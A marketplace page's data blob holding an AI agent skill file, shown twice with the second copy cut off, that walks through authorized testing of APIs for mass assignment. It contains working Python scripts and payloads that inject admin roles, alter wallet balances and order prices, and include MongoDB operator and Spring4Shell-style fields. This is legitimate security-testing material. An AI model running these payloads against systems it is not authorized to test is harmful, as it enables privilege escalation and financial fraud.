[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GQH32Z8FCTE330SMF94RF":3,"skill-same:01M71GQH32Z8FCTE330SMF94RF":102},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":14,"repositoryHtmlUrl":78,"repositoryHomepageUrl":6,"ownerHtmlUrl":79,"ownerBlogUrl":6,"ownerDescription":80,"updatedAt":81,"install":82,"resources":95},"01M71GQH32Z8FCTE330SMF94RF","api-massassign-exploit",null,"Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fmassassign\u002Fexploit\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"api","exploit","api massassign exploit","security","owasp","data","read","request","de","server","vulnerability","Bash","access","cybersecurity","auto","api-security","testing","cm","model","broken","2026-11-10 10:12:30",false,"---\nname: api-massassign-exploit\ndescription: Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- mass-assignment\n- auto-binding\n- parameter-tampering\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\ncwe:\n- CWE-915\ncapec: []\n---\n\n# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n","# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical 